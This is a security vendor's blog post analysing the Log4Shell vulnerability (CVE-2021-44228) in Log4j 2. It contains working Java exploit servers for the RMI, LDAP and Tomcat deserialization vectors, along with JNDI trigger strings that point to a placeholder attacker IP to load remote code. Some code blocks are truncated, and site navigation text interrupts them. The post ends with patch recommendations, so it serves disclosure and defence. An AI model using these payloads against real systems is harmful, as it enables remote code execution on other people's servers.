DEC 17
2021

Log4J 2 Vulnerability Analysis (CVE-2021-44228)

posted by:
Immunity Inc

Log4J 2 Vulnerability Analysis

Intro

Log4J 2 is an open-source logging library for Java, developed by the Apache Foundation, widely distributed in a vast number of applications and is prevalent throughout most organizations. A high severity vulnerability impacting Log4j 2 (2.0 to 2.14.1) was discovered by Zhaojun Chen of the Alibaba Cloud Security Team and was publicly disclosed on Dec. 9, 2021. CVE-2021-44228 was assigned to the issue with a CVSSv3 score of 10.0. **Considering the library's widespread adoption and how easily exploitable it is for attackers to control essentially everything, this vulnerability poses a significant and major threat to all affected systems.**

We are focusing on Log4j 2 in this blog entry, although Log4j 1.x appears to be vulnerable as well, under specific circumstances (CVE-2021-4104).

Due to the high severity of the case, we are releasing for free the same information we are providing to our customers on Log4j 2. You can find code that you can use to test your infrastructure at: https://github.com/immunityinc/Log4j-JNDIServer

Vulnerability and exploitation analysis

JNDI injections have existed since 2015 (CVE-2015-4902) and were accurately described by Alvaro Muñoz and Oleksandr Mirosh at Black Hat USA 2016 (https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf).

RMI Attack Vector

The JNDI/RMI attack vector consists of injecting "rmi://attacker_IP:1389/SomeObject" to a vulnerable target, allowing it to connect to an attacker-controlled RMI server to trigger remote class loading.

RMI Primitive Example (JDK < 8u121)

RMI Server:

```
public static void rmi_server() {
    try {
        Registry registry = LocateRegistry.createRegistry(1389);
        // Create a Properties object and set properties appropriately
        Properties props = new Properties();
        props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        props.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1389");

        // Create the initial context from the properties we just created
        Context ctx = new InitialContext(props);

        // Create JNDI Reference and set our evil remote factory class and remote location
        // where the JVM can grab the class implementation
        Reference reference = new Reference ("ExploitClass",
                "com.immunity.Exploit",
                "http://127.0.0.1:8889/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);

        // Bind the object to the RMI Registry
        ctx.bind("Exploit", wrapper);
        System.out.println("reference bound!");

    } catch (Exception e) {
        System.err.println("An exception occurred!");
        e.printStackTrace();
    }
}
```

Exploit Class:

```
package com.immunity;

// This is the class that will work as our payload
```

learn more about canvas

learn more about swarm

learn more about silica

learn more about el jefe

VIEW ALL IMMUNITY PRODUCTS

Consulting:
Application Vulnerability Analysis
Network Security Assessment
Web Application Testing
Wireless Security Assessment
Process Review
Source Code Analysis
Exploit Development
Penetration Scanning

Certifications:
Certified Network Offense Professional (NOP)

VIEW ALL IMMUNITY SERVICES

```
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
```

As mentioned in the example, you should be hosting Exploit.class somewhere for the victim to fetch; e.g., python –m http.server 8889.

From the target, to trigger the issue, you would need the following:

```
logger.error("${jndi:rmi://<ATTACKER_IP>:1389/Exploit}");
```

Java 8 Update 121 (7u131 and 6u141)

The Java 8 update 121 added a system property that disables remote class loading via JNDI object factories by default. This update effectively killed the JNDI/RMI vector, although targets can still be vulnerable to the same vector if they specifically set “com.sun.jndi.rmi.object.trustURLCodebase” to "true."

Furthermore, this JDK version does not fix other attack vectors such as LDAP (via ldap://) and CORBA (via iiop://, iiopname://, corbaname:iiop:). Let’s see how we can take advantage of that.

THE LDAP ATTACK VECTOR

“LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory: using Java serialization and using JNDI References ... The decoding of these Java objects during runtime execution by the Naming Manager will result in remote code execution.”. From "A Journey From JNDI/LDAP Manipulation To RCE" - page 20.

This time, we can develop our own LDAP server that “redirects” the target server to find and load an Evil Class and thus achieve Remote Code Execution.

LDAP Example (JDK 8u231)

LDAP Server: (Based on MarshallSec project)

```
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LdapServer {

    public static void main(String[] args) throws Exception {
        if(args.length == 0)
        {
            System.out.println("You need to setup the <ip>:<port>/#class");
            System.exit(0);
        }

       LdapServer.start(args[1]);
    }
    public static void start ( String evilclass) {
        start(evilclass,null);
    }
    public static void start ( String evilclass, String ip) {
        int port = 1389;
        if (ip== null)
            ip= "0.0.0.0";
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=test,dc=com");
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName(ip),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(evilclass)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on "+ ip+ ":" + port);
    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e
) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Reference " + base + " will be redirected to " + turl);
            e.addAttribute("javaClassName", "test");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}
```

Start the LDAP server with the following argument:

“http://<ATTACKER_IP>:8889/#Exploit"”

At this point, all that remains is to host the Exploit class in the same way we did for the RMI vector.

As for the code triggering the vulnerability, specify with this LDAP protocol:

```
logger.error("${jndi:ldap://<ATTACKER_IP>:1389/foo}");
```

JNDI/LDAP injections were fixed in JRE/JDK 11.0.1, 8u191, 7u201 and 6u211 in the same way the RMI vector was fixed. Similarly, this can still be exploited if the following System property is set to “true:”
“com.sun.jndi.ldap.object.trustURLCodebase”

Therefore, from JDK 11.0.1, 8u191, 7u201 and 6u211, both RMI and LDAP attack vectors were effectively prevented. For more recent JDK versions, there is still a way to exploit the vulnerability, but it highly depends on what ObjectFactory classes exist on the target classpath. Depending on that, we might be able to turn the JNDI attack vector (by leveraging ObjectFactories) in a deserialization attack.

Let’s consider the “BeanFactory” factory class from Apache Tomcat for our next deserialization case.

JNDI Deserialization Attack Vector

The "org.apache.naming.factory.BeanFactory" class within Apache Tomcat Server contains logic for bean creation by using reflection. Therefore, we can create an RMI server that “responds” with a deserialization payload (using the BeanFactory class) and if the target has Apache Tomcat, again we will achieve remote code execution.

Let's look at the following example, based on this blogpost:

```
public static void rmi_server_tomcat() {
    try {
        // You should add this property for remote exploitation, instead
        // the RMI server only works in localhost.
        System.setProperty("java.rmi.server.hostname","<ATTACKER_IP>");

        System.out.println("Creating evil RMI registry on port 1389");
        Registry registry = LocateRegistry.createRegistry(1389);

        Properties props = new Properties();
        props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        props.put(Context.PROVIDER_URL, "rmi://<ATTACKER_IP>:1389");

        // Create the initial context from the properties we just created
        Context ctx = new InitialContext(props);
calculator']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);

        ctx.bind("Exploit", referenceWrapper);
    } catch (Exception e) {
        System.err.println("An exception occurred!");
        e.printStackTrace();
    }
}
```

In this case, we do not need to host the Evil class, as we did before. Our own RMI server responds with a serialized object of ‘org.apache.naming.ResourceRef’ with all crafted attributes to be triggered on the target. Of course, as mentioned before, this requires Apache Tomcat libraries in the target’s classpath.

Trigger code for deserialization:

```
logger.error("${jndi:rmi://<ATTACKER_IP>:1389/Exploit}");
```

Note: For this PoC, we used JDK 11.0.5 on the target.

Finally, on the exploitation side, we found this interesting project (JNDI-Exploit-Kit). They create an RMI-LDAP server that will host a user-generated deserialization payload (e.g., generated with *ysoserial*).

This can be dangerous if someone creates an RMI server with all the available *ysoserial* payloads in their server and test them one by one until one works.

Attack Vectors Summary

JRE/JDK	RMI Attack Vector	LDAP Attack Vector	Deserialization Attack Vector* (3)
< 8u121, 7u131, 6u141	X	X	X
< 11.0.1, 8u191, 7u201 and 6u211	*(1)	X	X
>= 11.0.1, 8u191, 7u201 and 6u211	*(1)	*(2)	X

*(1) - Only if com.sun.jndi.rmi.object.trustURLCodebase=true
*(2) - Only if com.sun.jndi.ldap.object.trustURLCodebase=true
*(3) - Depends on the target classpath.

Recommendation

The Log4j vulnerability does not depend on the JDK version. All JDK versions are vulnerable because different attack vectors exist for JNDI. Everything depends on the packages in the target classpath (like a deserialization bug). **We highly recommend to immediately patch Log4J 2 to 2.17.1**. Log4J 2.15 original DoS vulnerability has been proven to be an actual remote code execution, one specifically under certain circumstances; CVE-2021-45046. Furthermore, the 2.16 version was shown to be also affected by a recently discovered DoS vulnerability; CVE-2021-45105 and version 2.17 to an arbitrary code execution when the attacker controls the configuration; CVE-2021-44832. In the event you cannot upgrade to 2.17.1, (though highly advisable!) you could try to disable the JndiLookup class as a temporary workaround.

Continue the Conversation

As more information is released, reported and analyzed about Log4j, we will provide regular updates on our research.

Author: Anibal Irrera

References

- https://github.com/tangxiaofeng7/apache-log4j-poc
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.java.com/en/download/help/release_changes.html
- https://www.oracle.com/java/technologies/javase/7-support-relnotes.html
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
- https://github.com/mbechler/marshalsec
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- https://github.com/veracode-research/rogue-jndi
- https://github.com/pimps/JNDI-Exploit-Kit
- https://lists.apache.org/thread/83y7dx5xvn3h5290q1twn16tltolv88f
  https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/

No comments:

// RECENT POSTS:

Log4J 2 Vulnerability Analysis (CVE-2021-44228)

// SUBSCRIBE:

Subscribe to: Posts (Atom)

1130 WASHINGTON AVE. 8th FLOOR
MIAMI BEACH, FLORIDA 33139

immunityinc.com
(786) 220 0600
admin@immunityinc.com

#immunityinc
#InfiltrateCon